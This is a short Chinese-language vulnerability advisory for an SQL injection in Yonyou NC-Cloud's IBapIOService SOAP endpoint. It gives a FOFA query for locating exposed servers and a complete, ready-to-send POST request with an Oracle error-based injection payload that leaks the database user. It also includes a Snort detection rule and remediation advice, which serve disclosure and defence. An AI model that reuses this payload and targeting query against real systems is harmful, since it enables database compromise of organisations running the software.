用友NC-Cloud-IBapIOService-Sql注入

用友NC-Cloud-IBapIOService-Sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友-NC-Cloud

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="用友-NC-Cloud"

POC/EXP：

POST /uapws/service/nc.itf.bap.service.IBapIOService HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
    <soapenv:Header/>
    <soapenv:Body>
        <gs:getBapTableDatas>
            <gs:stringarrayItem>
                DWQueue@MessageQueue' AND 1=UTL_INADDR.GET_HOST_ADDRESS('~'||(user)||'~')-- abc
            </gs:stringarrayItem>
        </gs:getBapTableDatas>
    </soapenv:Body>
</soapenv:Envelope>

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Yonyou NC-Cloud - SQL Injection in IBapIOService";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/uapws/service/nc.itf.bap.service.IBapIOService"; http_uri;
    content:"Content-Type: text/xml"; http_client_header;
    pcre:"/<gs:getBapTableDatas>.*?<gs:stringarrayItem>[^<]*'[\s\S]*?AND\s+1=UTL_INADDR\.GET_HOST_ADDRESS\(/is";
    metadata:service http;
    metadata:affected_product "用友NC-Cloud";
    metadata:attack_type "Oracle SQL Injection";
    metadata:severity "critical";
    reference:url,www.example.com/vulndb/yonyou-nccloud-sqli;
    classtype:sql-injection;
    sid:1000102;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。